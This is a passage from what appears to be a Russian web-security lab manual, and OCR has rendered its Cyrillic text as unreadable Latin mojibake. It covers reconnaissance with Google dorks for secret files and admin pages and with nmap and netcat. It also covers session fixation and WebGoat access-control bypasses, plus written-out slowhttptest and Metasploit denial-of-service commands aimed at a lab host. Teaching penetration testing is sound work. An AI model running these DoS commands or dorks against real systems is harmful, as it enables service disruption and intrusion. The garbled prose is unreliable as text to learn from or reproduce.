pemuTh ee.
4. OGecnieubTe KAYECTBEHHYIO HABUTAIIHIO.
[Ipocnenure, 9TOOBI BCE CTAaHAAPTHBIE CPECTBA HABUTAIIMHA KOPPEKTHO pabOTamu M ObUIN PACIIONOKEHBI Ha
KaXJ10i cTpanule caita. K ctaHIapTHBIM cpelicTBaM OTHOCSTCS:
® TJIaBHOE MEHIO;
® BBIJIEJICHHE AKTUBHOI'O ITyHKTa MEHIO;
® Ha3BaHUE CTPAHMIIBI (3ar0JIOBOK);
® HaBHUTallMOHHAs [ETIOYKa (XJICOHBIE KPOIIKH).
5. 1o6aBbTE HHTEPAKTHUB.
Cambie 04eBUAHBIC PEIICHUS:



CUCTEMa OT3bIBOB;
rOJIOCOBAHUS;
OHJIAWH-KOHCYJIbTaHT;
® yar.
Kaxxapiii criocod mpenHasHaueH JUIsl pelieHrs COOCTBEHHBIX 3a/1a4, KOTOPBIE, B CBOIO OY€pellb, 3aBUCAT OT
TeMaTHKHU caiiTa. OueHUTe peaibHyI0 MOJb3y IS BAIIMX IMOCETUTENeH U He A00aBIIsiiTe HA CAlT JIMIIHUE
byHKINN.
6. [IyOukyiiTe TeMaTH4YEeCKUE CTaThH.
Paznen co crarbsiMu MoOXeT crarh cepjuemM caiita. Co CTOPOHBI MMOCETUTENEH ATOT pa3jiesl caiTa pemaeTt
HECKOJIbKO 3a/1ay:
® JIydIlie paCKpPBIBACT CYTh BAIIETO TOBAPA/yCIyTH AJIsI TOCETUTEINCH;
® [I0Ka3bIBACT, YTO CAUT MOJACPKUBACTCS B AKTYaAIIbHOM COCTOSTHUU.
® JIEMOHCTPHUPYET Ball MPOPECCHOHATHU3M.
7. CBspKUTE MaTepuabl caiiTa CChUIKaAMH.
[TepenmHkoOBKa — CCHUIKM BHYTPU CTPAHHI] TEKCTa, KOTOPBIE BEIYyT HA APYrHe CTPAHUIIBI BaIIEro caiTa.
Takxe CChUIKM MOTYT pa3MeIIaThCs CIHUCKOM IOCNE TEKCTa M PAacKpbhIBaTh CBA3aHHBIC TeMbl. B ciydae c
MEPEIIMHKOBKON MOCETUTEh MOXET 3aMHTEPECOBATHCS U TMEPEHTH Ha JIPYrHe CTPAHUIIBI BaIIero CauTa,
9TOOBI JIydille pa3o0parbcsi B BOIMpoce. JISrko W OpraHWYHO 3TOT CIMOCOO COYETAeTCs C TeMaTHYCCKUMH
CTaTbsIMHU.
8. auuumupyiite BO3BpalIeHUE TTOCETHTEICH.
He Bcerna nmonydaercs cienatbh MOCETUTENs KIIMEHTOM C MEPBOro pas3a. BOT HECKOIBKO CIOCOOOB BEPHYTH
MOCETUTEIIS:
o Oynkuus «CoolbuuTh 0 mocTymieHun». Eciau ToBap B OyayiieM MOsSBUTCS B MarasuHe, TO YEJIOBEK
CMOKET BEPHYThCS 3a MOKYIIKOM.
e [loamucka Ha pacchlIKy. Bl MokeTe cooO1IaTh 4eI0BEKY, HApUMeEp, O MyOJIUKAIIMA HOBBIX CTaTeH.
e (Camu mo cebe WHTEpECHbIE MaTepHallbl, CTAThbU MOTYT MOOYIUTH YEIOBEKa COXPAHUTH CTPAHUILY B
3aKJIaJIKax ¥ BEpHYTbCA Ha Hee B OyIyIIeM.
9. TexHUYECKHE TOHKOCTH.
OTKpbIBaliTe BHEIIHUE CCHUIKM B HOBBIX BKJIaJKaX. B 3TOM cilydyae yenoBeK He MOTEpseT Ball CAalT U3 BULY
Y CMOXXET BEPHYTHCS K TOMY MECTY, Ha KOTOPOM 3aKOHUYHUJI pabOTy ¢ CalTOM.
ObecnieubTe MpUEMIIEMYIO CKOPOCTh 3arpy3ku cTpanuil. Hukomy He xodercs paboTath ¢
«ropmo3amuMy» caiitom. C MOMEHTa Tepexoja IO CChUIKE JO MOMEHTa OTOOPaKEHUSI CaMbIX BaKHBIX
9JIEMEHTOB CTPAHUIIBI (IEPBOTO IKPaHa) AOKHO MPOXOAUTH HEe Oobiie 1—2 cekyH.
OdopmuTe crpanuity ¢ ommnbkon 404. Ha Takue cTpaHUIbl TOCETUTENN MOTYT MOMNAaAaTh, €CJIM Bl yIaJIsIH
CTpaHUIIbI Ha caiite. Xopoiio ogopmiieHHas cTpanuia 404 Mo3BONIUT YEIOBEKY BEPHYTHCS K HOPMAIBHOMY
pexXuMy paboThI.
3aganue Ne 1. [Ipoananu3upyiite moBeaeH4YecKkre (PakTOPhI MPEAT0KEHHOTO CaifTa.

MJIK. 03.03 OGECIIEYEHHUE BE30ITACHOCTH BEB-IIPUJIOKEHUI
Tema 3.3.1 Texnosorum odecrniedeHrst 0€30NMACHOCTH BeO-NPUIIOKEHU I
JlabopaTopnasi padora 23. «Coop nnpopmanuu o web-npujiokeHum»
Hean: oOydyeHne MeToaM 1 cpeacTBam coopa nHbopmaruu 00 aHATU3UPYEMOM BEO-TIPUITOKCHHH.
XOH PABOTBI:
3aganue Ne 1. Boinonnuts c6op nHdopmannu 06 aHAIU3UPYEMOM BeO-TIPUIIOKEHUH.

Ipumep coopa ungopmayuu 06 AHAUBUPYEMOM (vcnosnom) — eeb-npunodceHuu
www.test.app.com/robots.txt. ITociedosamenvrnocms deticmeauil.
Mar 1. B aZpecHOn CTpoke Opaysepa IepenTn o azpecy

www.test.app.com/robots.txt.

[IpoananuzupoBaTh conepkumoe Qaiina. Crenath BHIBOIBI O HATMYUH «CKPBITHIX» TUPEKTOPHUH.
[IIar 2. B ampecHoit crpoke Opaysepa mepeit mo azapecy http://www.test.app.com/crossdomain.xml wu,
3arem, mo azapecy http://www.test.app.com/clientaccesspolicy.xml. Tlpoananu3upoBath COACPKUMOE
¢aiinoB. CaenaTh BHIBOIBI O KOPPEKTHOCTH KOH(MUTYPAITUH ITOJUTHKH MEKIOMEHHOTO B3aUMO ICHCTBHSI.
lar 3. Ilepeiitu mo azapecy http://www.google.com. 3amaTh MOMCKOBBIC 3alpoOChl, OIMpPEACIIIEMbIC
aHAJTM3UPYEMBIM TMPHIIOKEHHEM, HaIPHUMED:

e site:www.test.app.com filetype:docx confidential;


http://www.test.app.com/robots.txt
http://www.test.app.com/robots.txt
http://www.test.app.com/crossdomain.xml
http://www.test.app.com/clientaccesspolicy.xml
http://www.google.com/
http://www.test.app.com/

site:www.test.app.com filetype:doc secret;

site:www.test.app.com inurl:admin;

site:www.test.app.com filetype:sql;

site:www.test.app.com intext: "Access denied".

[Ipoananu3upoBarh JIOTUKY 3alpOCOB M IOJIy4E€HHbIE AaHHblE. [locTpouTh CBOM 3ampoChl, HCIONb3Ys
npUMepHhI U3 0a3bl 3aIIPOCOB.

Hlar 4. [epeiitu no agpecy http://www.shodanhg.com. 3aaaTh cieayromuii MOMCKOBBIH 3aMpoc:
hostname:www.test.app.com

[TocTpouts cBOM 3ampOChI I IPUIIOKEHUS WWW.test.app.com.

[ar 5. JlaHHBII TECT BBIMOIHAETCS TOJBKO JIJISl IPHIIOKEHUH, pa3MEIICHHBIX B Ja0OPaTOPHOM CETH.

C nmomotkio ceTeBbIX ckaHepoB Nmap u Xprobe BeimonHuTh naentudukanmuo OC Bed6-cepsepa:

# nmap —O www.test.app.com —vv # xprobe2 www.test.app.com

[ar 6. [TogkmrounThest K BeO-CEpBEPY, UCMONB3Ys yTHIUTY Netcat:

# nc www.test.app.com 80 OrnpaBuTts crienytomuit GET 3anpoc GET / HTTP/1.1

Host: www.test.app.com

\r\n

ITo 3aromnoBkam Server u X-Powered-By onpeaenuts nporpaMMHoe o0eciieueHue, peansyroliee Be0-cepBep
u QpaiiMBoOpK BeO-nipuioxkeHus. B 6paysepe ycranoButh pacmmpenue Wappalyzer, nepeiitu o aapecy Beo-
NPUIOKEHUSI W TPOAHATM3HPOBATh MH(DOPMAIMIO O KOMIIOHEHTaX BEO-TPUIIOKEHUS IMOJIyYeHHOE dYepe3
Wappalyzer.

[Iar 7. C noMomipio ckanepa BeO-cepBepoB Httprint (muctpudyrus Backtrack) nmm Httprecon (OC
Windows) BEINOTHUTH UeHTU(UKALINIO BeO-cepBepa:

# cd /pentest/enumeration/web/httprint/linux

# ./nttprint —h www.test.app.com —s signatures.txt

C nomompto ckanepa Wafw0Of mpoeputs Hammume y BeO-npuiokeHus mnoacucreMbl WAF: # cd
/pentest/web/waffit

# python ./wafwOQO0f.py http://www.test.app.com # python ./wafwOOf.py https://www.test.app.com

[ar 8. BeImosHUTH TECTHI MO HIeHTU(DUKALNY TToAepKUBaeMbIX BeO-cepsepoM HTTP-meronos.

st 5TOr0 HEOOXOUMO OTITPABUTH ¢ TToMoIbio Burp Suite nnu Netcat 3anpoc ciemyromiero Buaa:
OPTIONS /HTTP/1.1

Host: www.test.app.com

\r\n

[IpoBepuTth, noaaepKUBaET U cepBep 00pabOTKY 3alIPOCOB C MPOU3BOJIBHBIMU METOIaMU:

DOGS /HTTP/1.1

Host: www.test.app.com

\r\n

Ecnu Be6-cepBep noanepxuBaet Mmetonq TRACE, To 3TO MOXXET MPUBECTH K YI3BUMOCTH K aTake

Cross-Site Tracing (XST). lns npoBepku noanepxku Bed-cepBepom metoibl TRACE otnpaBuTs 3amnpoc
TRACE/HTTP/1.1

Host: www.test.app.com

\r\n

Be6-cepsep nognepxkuBaer mero TRACE u noteHuumansHo ys3BuM Kk atake XST, ecnu monydeH oTreera
BUJIA

HTTP/1.1 200 OK

Connection: close Content-Length: 39 TRACE / HTTP/1.1

Host: www.test.app.com

3ananue Ne 2. Haiitn agMuHUCTpaTUBHBIE MHTEP(PEHCH KOMMYHHUKAIIMOHHOTO U CETEBOTO 00OPYIOBaHMS
(Buneokamepsl, kommytaTopsl JIBC, nomamaue Wi-Fi MapuipyTusaTopsl, U T.1.), MOJKIIOYEHHBIE K CETH
Nurtepuer.

JlaGoparopHas padora 24. «TecTupoBaHue 3alIUIIIEHHOCTH MEXaHU3MA YNIPaBJIEHUS 10CTYIIOM U
CeCcCUsiIMM»)
[lenb: 00y4yeHre METOIaM U CPEJCTBAM TECTUPOBAHMS 3AIIUIIEHHOCTH MEXaHU3Ma YIIPaBJICHUS IOCTYIIOM B
BCG-HpI/IHO)KeHI/ISIX, COBPCMCHHBIM MCTOJaM U CPCACTBAM TCCTHUPOBAHUA 3alIUIICHHOCTU MCXaHU3Ma
YIpaBJICHUS CECCUSIMU B BEO-TIPUTIOKEHUSX.
XOJ PABOTHI:


http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.shodanhq.com/
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http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/

3amanue Ne 1. BoInoJHUTH TECTHPOBAHUE 3aIUIIEHHOCTH MEXaHU3Ma YIIPABJIEHUS JOCTYIIOM UCCIETYEMOTO
BEO-TIPUIIOKECHHUS.

IlocneoosamenvrHocms Oeticmauti

[ar 1. Hactpouts paboTy Opay3epa depe3 mTaTHbIN mpokcucepBep Burp Suite. B Be6-Opay3epe OTKpHITh
[JIaBHYIO CTPaHUILy TECTUPYEMOTro BeO-IIpHIosKeHuss WWW.test.app.com.

Hlar 2. 3apeructpupoBaThcs B BeO-puiioxkeHuu. [lomydnts uaeHTHPHUKATOP YUETHOW 3alKMCH M Tapoib
noctyna K BeO-npuiioxeHuto. [IpoananusupoBaTh Npeacka3yeMoCTh WIACHTH(PUKATOPOB MOJIb30BaTeNeH U,
€CII 3TO BO3MOXKHO, aJITOPUTM Ha3zHaueHHs uiaeHTUu(uKaTopoB. [Ipoananu3upoBaTh peaqn30BaHHYIO B BeO-
MPUIOKEHUU MapOJIbHYIO MOIUTUKY. OIEHUTh JOCTYIHYIO CIOXHOCTh BbIOOpa maposiel moJIb30BaTeISIMHU.
OnIuoHaTBHO BBITIOIHUTH aTaKy MOJHOTO repedopa maposei.

[ar 3. ITepeitTu 1o ccbuike A ayTeHTU(PUKAIMKY B npuioxeHuu. [Ipu sToMm HE0OXoauMO yOeauThCs, 4To
dbopMa ayTeHTHPHUKAIMU JOCTymHA TONbKO 1o mpotokony HTTPS. VOemuthcs, 4TO BBOIUMBIC
M0JIH30BATEJIEM JIOTUH U ITapOJIb OTIPABIISIIOTCSA B 3amudpoBaHHOM Bujie 1o mpotokoiy HTTPS. Y6enursbcs,
YTO JIOTHH U IIapoJib He oTnpasisitoTes ¢ nomoupto HTTP-merona GET.

[ar 4. IIpoBeputh, 4TO B BEO-MPUIOKEHUH U3MEHEHBI CTAHJAPTHHIC MAPOIH AJI BCTPOCHHBIX YUETHBIX
3anucei. [IpoBepuTh, YTO HOBBIE YUETHBIE 3aIIUCH CO3JIAIOTCS C PA3IMYHBIMU MAPOJISIMHU.

[Mar 5. IIpoBepuTh BO3MOKHOCTh HACHTU(UKALMKU TMOJIb30BaTENe BeO-IPUIOKEHU dYepe3 (HOopMbl
perucrpanyy, BXOJa M BOCCTAHOBJIEHHS Mapois. s 3Toro ciemyer BBECTH HECYLIECTBYIOIIEE HMS
nonb3oBarens (Hampumep, qawsedrfl234) u mpoOW3BOJBHBIA MapoOib, a 3aT€M HMS CYIIECTBYIOIIETO
I10JIb30BATENS U IPOU3BOJIbHBIN, HO HETIPaBUIIbHBIN M1aposib. B 0001X ciiyyasx JOKHO ObITh BBIBEIEHO OJIHO
U TO ke coobiieHue o0 ommodke Buaa «OmudKa B MMEHH I0JIb30BATENsl HIIM HEBEPHBIH mapoiiby. Takxke oba
HTTP-oTBeTa 10KHBI COBNAAATH C TOYHOCTHIO JI0 U3MEHSEMBIX MTAPaMETPOB U OBITH MOJIYUYCHBI 32 OJTHO U
TO k€ BpeMs. B mpoTuBHOM ciyyae BeO-NPUIIOKEHUE MMEET CKPBIThIA KaHall (Opakyll), MO3BOJISIOIINN
UACHTU(PUIIMPOBATH €TI0 MOJIb30BATEIEH.

[Har 6. IlpoBepuTh BO3MOXKHOCTH pealH3alMM aTaku MoA0Opa Mapois IMosb3oBarens. Beectu wums
noJsib3oBarens. BBectu Heckonbko pa3 HenpaBuiIbHbIN aposb (5—10 pas). [Tocne 3Toro BBECTH NpaBUIbHBIN
HapoJib JUTS ATOW y4YETHOM 3amucu. BBeCTH OIMHAKOBBIH Maposib AJIs Pa3HbIX ydeTHbIX 3amuceit (s 5-10).
[IpoBepuTh BO3MOXKHOCTH JOCTyNa K BEO-TPUIIOKEHUIO. BlIOKMpoBaHHE yueTHBIX 3amuceil Moib30BaTess
MOCJIE HECKOJIBKUX HEY/IaYyHbIX MOIMBITOK BXOJa CO3AAeT yCIOBUE [ peanu3aunud DoS-ataku u He T0JKHO
UCIIONIb30BAaThCS B MEXaHM3Max 3alluThl OT aTak Mnojbopa mnaposeid. Bmecto sToro HeoOXxoaumo
UCIIONIb30BaTh BO3PACTAIOIINE BpPEMEHHBIC 3a/IepKKH WM CPEICTBA aHTU- aBTOMATH3allMH (Hampumep,
CAPTCHA).

[ar 7. IIpoBepuTh, YTO YYBCTBUTEIbHBIM KOHTEHT (HAMpUMEp, CTPAHHIBI C BBEIEHHBIMH HOMEpaMH
KPEAMTHBIX KapT, CUYETOB, aJ[pecOB) HE JOCTyNeH uepe3 MexaHu3M History BeO-Opaysepa, a Takxke He
K3LIMpyeTcss UM. BOWTH moJ y4eTHOM 3amMChiO MOJIB30BATENs], IEPEUTH HA CTPAHULy C YyBCTBUTEIbHBIM
KOHTEHTOM. BBecTu HOBble nanHble. Boiiitu n3 npunoxenus. Haxate kHonky «Back». Ilons3oBatens He
JIOJDKEH HMMETh BO3MOYKHOCTH BBIMIOJIHSATH HOBBIE 3alpochl (IIPU KOPPEKTHOM peav3aluu yIpaBICHUS
ceccusiMu). Ecnu ipu 3TOM MOJIb30BaTENIO IOCTYITHBI paHee 3allpalliiBaeMble CTPAaHUIIbI, TO 3TO O3HAYAET,
4TO CepBepHas 4acTh BEO-NIPUIIOKEHHs He 3ampeTuia BeO-Opay3epy COXpaHATh JaHHBIE B HCTOPHH.
3anpenienue K mupoBanus onpenensercs Hanuarnem HTTP-3aronoskoB Pragma, Cache- Control u Expires
CO CJENYIOUIMMH PEKOMEHI0BAHHBIMY 3HAUECHUSIMHU:

Pragma: no-cache

Cache-Control: no-cache, no-store, must-revalidate, max-age=0 Expires: -1

[Iar 8. 3amyctuth BeO-npunokenne Web Goat. Beectu orun:

«guesty, mapoJb: «guesty.

[Tepeittu o cewimke «Access Control Flaws — Bypass a Path Based Access Control». U3yuuts ycioBus
3agaun. Hcmonb3ys FireBug (unmm  mo0o0if  aHalnoOruyHbIE  MHCTPYMEHT), HW3MEHHTH 3HA4YCHHE
AccessControlMatrix.html na ../../main.jsp. Haxats kHonKy «View File». Ilepeiitu o cceuike «LAB: Role
Based Access Control —Stage 1». M3yunth ycnoBus 3amaun. Boiitu nox nosnp3oBarenem Tom (maposib:
Tom). Mo>xHO BHAETBH, UTO OT MOJIB30BaTeNs CKpbITa KHOMKa «DeleteProfiley, Tak kak OH HE TOJKEH UMETh
BO3MOXKHOCTH yJANIATh Y4eTHbIe 3anucu. Haxate kHonky «View Profile». B Burp Suite mpocmoTpeTs 3ampoc.
Ucnonb3ys FireBug (vim 1100601 aHaIOTHYHBIA HHCTPYMEHT), n3MeHnTh HTML- pazmery, 3aMeHUB 21eMEHT
<input type="submit" value="ViewProfile" name="action">

Ha 3JIEMEHT

<input type="submit" value="DeleteProfile" name="action">


http://www.test.app.com/

Haxates xHomky «DeleteProfile». IIpocmorpers otmpaBnenHbiii 3anpoc B Burp Suite. Ilpodwuns

noJjb3oBarens Oyaer yaaneH. OnmuonansHo pemuts 3a1a4y «LAB: Role Based Access Control — Stage 2».

[Tepeiitu o ccouike «LAB: Role Based Access Control —Stage 3». U3yuuts ycnoBus 3agaun. Boiitu moj

nonb3oBareneMm Tom (mapons: Tom). Haxare kHoniky «View Profile». B Burp Suite mpocmoTpets 3ampoc.

Mo>KHO BUJETH, YTO MOJIB30BATEINIO JOCTYIHBI AaHHbIE cBoero npoduis. Mcnonb3ys FireBug (vnum mo0oit

AQHAJIOTUYHBIA MHCTpyMeHT), u3MeHutb HTML-pa3smery, 3ameHuB sneMeHT <option value="105"

selected="">Tom Cat (employee)</option>

Ha 2JIEMEHT

<option value="103" selected="">Tom Cat (employee)</option>

Haxarp xHOmKy «ViewProfile». IIpocMoTpers otmpaBieHHbIH 3ampoc B Burp Suite. Bynyr BbiBeneHs

JaHHbIe PO MOIH30BATENSA

Curly Stooge.

OnuumonansHo pemuTh 3a1a4y «LAB: Role Based Access Control — Stage 4».

[Tepeiitu o ccbuike «Remote admin access». M3yuuts ycnoBus 3anaqn. [I[pocMoTpeTs o IMEHIO

«Admin Functions». Ilepeiitu 1o CCBLIKE
WebGoat/attack?Screen=86&menu=200&admin=true.

[TpocmoTpeTs moamenro «Admin Functionsy.

3aganue Ne 2. M3yunth pekoMeHIalMU K 3alUIIEHHON peanu3aliy MeEXaHu3Ma XpaHeHUsl 1apoJieil.

HccnenoBath MeXaHU3M BOCCTAHOBJICHHUS MTapOJICii BBLIOPAHHOTO BEO-TIPUIIOKEHHUS.

3ananue Ne 3. McceoBate MUHUMAIIBHO JOITYCTUMYIO JUTHHY M CIIOKHOCTD IAapOJIel B POU3BOJIBHBIX MATH

BeO-nipritoxkeHusix u3 peituara ALEXA TOP 100.

3ananue Ne 4. BRITOTHUTH TECTUPOBAHKE 3AIUIIIEHHOCTH MEXaHH3Ma YIPABICHHSI CECCUSIMH UCCIIETYEMOTO

BEO-TIPHIIOKEHUS.

Ilocneoosamenvrnocmyo Oeticmsuii

[ar 1. Hactpouts paboty Opay3epa uepe3 mTaTHBINA Mpokcu-cepBep Burp Suite. B Be6-Opayzepe OTKpHITH

TJIABHYIO CTPAHUILY TECTUPYEMOTO BeO-TipriioskeHust Www.test.app.com. Ilpocmotpers Cookie, onpeaenurs,

co3/1aeTcs JIM ceccus Ui HeayTeHTU(UIIMPOBAHHBIX (AaHOHUMHBIX ) TIOJIb30BATENEH.

[ar 2. BBecTn KOppEKTHBIE JIOTUH U Napoiib. OnpenennuTh, YTO UCTIONB3YETCS B Ka4eCTBE TPAHCIIOPTA JIJIs

nepeaayn uaeHTuukaropa ceccuu. Ecnu 11st aToro ucnons3yercst mexanusm Cookie, To onpeaenuTs MIMeHa

cookie, nx atpubytel (Secure, HttpOnly, Domain, Path, Expires) u 3nauenus. [IpoananusupoBaTh

a/IeKBaTHOCTh UCTONb3yeMbIx arpudyToB Cookie.

Hlar 3. IIpoananu3upoBaTh UMsI WIACHTH(PHKATOpA CECCHH, €0 CTPYKTYpy M 3Ha4yeHHUE, OIPEIEeNUTh,

UCIIOJIb3YeTCs JI KOJUpOBaHHUE WU MH(poBaHue TaHHbIX. Mcnonbs3ys mHCTpyMeHT Sequencer B Burp Suite,

NIPOAHATM3UPOBATh BEPOSITHOCTHBIE XapaKTEPHCTHUKU ITOCIEI0BATEILHOCTH HACHTH(PHKATOPOB CECCHU.

CnenaTh BBIBOA O COOTBETCTBUHM peanu3alvd (YHKIHUM TeHepalud HACHTUPHUKATOPOB TPEeOOBAHUSAM

6e3omacHocTH. Crenats BBIBOJ O BO3MOXKHOCTH HCIIOJB30BAHUSI aTaKW TPYOOW CHIIBI Ui TeHEpaluu

CECCHOHHOTO MJICHTHU(UKATOpa MOJIb30BaTEs.

[ar 4. [TpoBepuTh aHHYIUPYEMOCTh ceccuu Ha cepBepHoit cropone. Coxpanuth Cookie B BeO- Opaysepe

(Mo)xHO wuWcnonb3oBaTh pacmupenue Export Cookies), BBIATH u3 mpuiioxkeHus. MmmoptupoBaThb

coxpaHeHHble paHee Cookie B Opaysep (MOXHO ucrosb3oBath pacmupenue Import Cookies). [lepeittu mo

arobomy azpecy BeO-mpuiiokeHusi. Eciu Bl momajgere B NPEAbLAYIIYIO CECCHIO, TO 3TO O3HA4YaeT, 4YTo

AHHYJIMPOBAaHUE CECCHH MTPOUCXOIUT TOJIBKO Ha KimeHTe. [[poBepuTh, UTO MOIB30BATENh MOXKET 3aBEPIIHThH

CBOIO CECCHIO B JIIOOOH MOMEHT BPEMEHH — Kax/1asi CTpaHUIa, IOCTYIHAs Mocye ayTeHTU(UKALUHU, COAECPIKUT

CCBUIKY THMa «Sign outy», MO3BOJISIONIYIO 3aBEpPIINTH ceccrio. [IpoBepHTh, Kakne MEXaHW3Mbl TaliMayTOB

pean30BaHbl B BEO-IIPUIIOKEHUH.

[Ilar 5. ITpoBepuTh BO3MOXHOCTH BBIMOJHEHUSI aTaku TUa «Pukcanus ceccum». JJisi 3TOro mpoBEPUTH

HAJIMYME CIEAYIOIIEro HEIOCTaTKa: BEO-NPUIIOKEHHE HE OOHOBISIET CECCHOHHBIA HMAECHTH(HKATOD,

OTIIpaBJICHHBIN Opay3epoM MOJb30BaTelNsd, MOCIE YCHEIIHON ayTeHTH(UKauuu mnocieanero. OTHpaBUTH

3arpoc BeO-MPUIIOKEHHUIO U MOJIYYUTh CeCCHOHHBIN nneHTudukarop B Cookie:

GET/HTTP/1.1

Host: www.test.app.com

\r\n

[TonyuuTs ¥ IpoaHAIU3UPOBATH OTBET

HTTP/1.1 200 OK

Date: Wed, 14 Aug 2008 08:45:11 GMT

Server: IBM_HTTP_Server


http://www.test.app.com/
http://www.test.app.com/

Set-Cookie: ID=d8eyY(q3L0z2fgglOm4v; Path=/; secure AyreHTH()HUIIUPOBATHCS, HCIOIB3YS 3alPOC C
NOJy4eHHBIM UeH- Tu(ukaropom ID:

POST https://www.test.app.com/auth HTTP/1.1 Host: www.test.app.com

Cookie: ID=d8eyYq3L0z2fgqlOm4v

\r\n user=test&password=2z123456

Ecnun ayreHtudukanus mnpomnuia yCHemHo, TO NPWIOKEHHE YA3BUMO K arake (HUKCAalud CECCHU.
JlononuurenbHO yOeAUTHCS, 4TO UIEHTU(UKATOP ceccuu nepenaetcs Tonbko B Cookie v He pacKkpbiBaeTcs B
nor-¢aitnax, coodbmenusx 06 ommodkax, URL u T.1.

[ar 7. IlpoBeputh, YTO UACHTU(DUKATOP CECCUU MEHSETCS MOCJe MOBTOPHOM ayTeHTU(DHUKAIMH, CMEHBI
1apoJist, pojau U T.A.

[ar 8. [IpoBepuTh, 4TO BEO-NPUIIOKEHHIE HE TTO3BOJISICT UMETH JBE OJIMHAKOBBIE CECCUU C IBYX PA3HBIX Y3JIOB
CETH.

3amanue Ne 5. [IpeyioxkuTh ClieHapUil aTaky, UCHOJIb3YIOIIUN HEIOCTATOK aHHYJIMPOBAHUSA CECCUU TOJIBKO
Ha KJIIMEHTCKON CTOPOHE BEO-TIPUIIOKECHHUS.

3aganue Ne 6. Vcronb3ys nouckoBsie cucteMsl (Google, Shodan), HailTu BeO-pUIIOKEHHS C MEXaHU3MOM
URL Rewriting.

3aganue Ne 7. Hamwmcarte cuenapuii JavaScript, ycTaHaBIMBAIOMIMA WM CYUTHIBAIOIINN UACHTU(UKATOD
CECCHH I10JIb30BaTEIl.

JlaGopaTopHas padora 25. «TecTupoBaHue HA yCTONYMBOCTDH K aTAKaM 0TKa3a B 00CJIYKUBAHUMN»
[lenb: oOyueHue METogaM M CpeCTBaM TECTUPOBAHUS BEO-NPUIIOKEHHI Ha YCTOWYMBOCTD K aTakaM OTKas3a
B oocnyxuBanuu (DoS-atakam).

XO/Jl PABOTBI:
3aganue Ne 1. BolnosHUTE TECTHPOBAaHUE YCTOMUMBOCTH BEO-TIpUIIoKeHHsI WWW.test.app.com k DoS-atakam
Ha ypoBHe npotokosna HTTP.
Ilocneoosamenvrnocme Oeticmauti
[ar 1. YcTaHOBUTH [porpaMmy slowhttptest, JOCTYIHYO o URL BHUZA
https://code.google.com/p/slowhttptest. M3yunth mokyMeHTanuio. 3amyCTUTh CETEBOM aHAIU3aTOpP
Wireshark.
[ITar 2. Ha TecTtoBOM cTeHE, SMyNHpyIOmeM palboTy BeO-cepBepa WWW.test.app.com, yCTaHOBHTH W
BBINOJIHUTH 0a30BbIE HACTPOMKH Ju1s BeO-cepBepoB Apache, Nginx u IIS. 3anmyctuts Beb-cepBep Apache.
[Har 3. 3anmycTuTh B OTHOIIEHHUU BeO-cepBepa aTaky Slowloris, IpOCMOTPETh TPACCUPOBKY COEIMHEHUS,
IPOBEPUTH IOCTYITHOCTh BeO-cepBepa ¢ IOMOIIBIO IPOU3BOJILHOIO Opay3epa:
# slowhttptest -H -c 3000 -r 3000 -i 50 -1 6000
—Uu http://www.test.app.com
[TpoBecTu HECKOJIBKO TECTOB € pa3InyHbIMU NapaMmerpamu. [loctpouts rpaduku coctosiHus BeO- cepBepa.
Hlar 4. 3anmyctuth B oTHOIIeHUM BeO-cepBepa araky Slow HTTP POST, mpocMoTperh TpaccupoBKY
COEIMHEHUS, IPOBEPUTH JIOCTYITHOCTh BeO-CEpBepa C MOMOIIBIO TPOU3BOJILHOTO Opay3epa:
# slowhttptest -B -c¢ 3000 -r 3000 -i 50 -1 6000
—Uu http://www.test.app.com
[IpoBecTH HECKOIBKO TECTOB C pa3IUYHBIMU napameTpamu. [locTpouTs rpaduku coctosHus BeO- cepBepa.
[llar 5. 3anyctuth B OTHOIIEHUU BeO-cepBepa ataky Slow Read, BbIOpaB ¢aiin moctaTodHoro pasmepa,
IPOCMOTPETh TPACCUPOBKY COEIMHEHHSI, TPOBEPUTH TIOCTYITHOCTh BeO-cepBepa ¢ MOMOILBIO TPOU3BOJIBEHOTO
Opayszepa:
# slowhttptest -X -c 3000 -r 3000 -1 6000 -k 5 -n 50

—w1-y2-z1-uhttp://www.test.app.com/bigauth.js
[IpoBecTH HECKOIBKO TECTOB C pa3IUYHBIMU napameTpamu. [loctpouTs rpaduku coctosHus BeO- cepBepa.
[Iar 6. OcranoBuTh cepBep Apache. 3anyctuth cepBep Nginx. [Ipoaenars npeapiaymme maru B OTHOIICHUH

cepBepa Nginx.

[Iar 7. OcranoButh cepep Nginx. 3amyctuth cepsep IIS. Ilponenars mpeapiaynye mard B OTHOIICHHH
cepsepa IIS.

[Mlar 8. B OTHOIIICHUH  CepBepa Apache BBIMOJIHUTL ~ ataky Apache

Range Header.
[Ipoananu3upoBaTh pe3yJbTaThl. BBIMOJIHUTE KOMaHIY
# slowhttptest -R -u http://www.test.app.com -t GET
—¢ 1000 -a 10 -b 3000 -r 500


http://www.test.app.com/auth
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/bigauth.js
http://www.test.app.com/

Breimonauts ataky Apache Range Header ¢ ucnonp3oBannem Metasploit Framework: # msfconsole

> use auxiliary/dos/http/apache_range_dos

> show options

> set RHOSTS www.test.app.com

> set RPORT 80

> set RLIMIT 100

> set THREADS 3

>run
3aoanue Ne 2. IlpoaHanu3upyite, KaKk MOXKHO TIO KOCBEHHBIM IPH3HAKaM OIPEACIIUTh YSI3BUMOCTh BEO-
cepsepa k atakam tuna Slow HTTP DoS?
3aoanue Ne 3. PeanvzoBaTh MEXaHU3MBI 3alTUTHI [ BeO-cepBepa Apache ot atak Slow HTTP DoS.
3aoanue No 4. Peanu3oBatb U IPOTECTUPOBATH BEO-TIPUIIOKEHHUE, Ysi3BUMoe K aTake XML Bomb.

JlabGopaTopHas padora 26. «Ilouck ysizBumocTeii k atakam XSS.»
[enb: 0Oy4yeHre METOIaM M CpeICTBaM UACHTU(DUKAIINK U SKCILUTyaTal[iH YsI3BUMOCTEH BeO- MPUIOKEHUH K
aTakam XSS.
XO/Jl PABOTBI:
3aganue Ne 1. BeImoHUTE MACHTU(OUKAIIMIO U YKCIUTYaTaIHI0 YI3BUMOCTEH K arakaM XSS.
Ilocneoosamenvruocms Oelicmauii
lar 1. Ckauyats 00pa3 «Web For Pentesters» ¢ Be6-caiita Www.pentesterlab.com. Co3aate BUPTyaIbHYIO
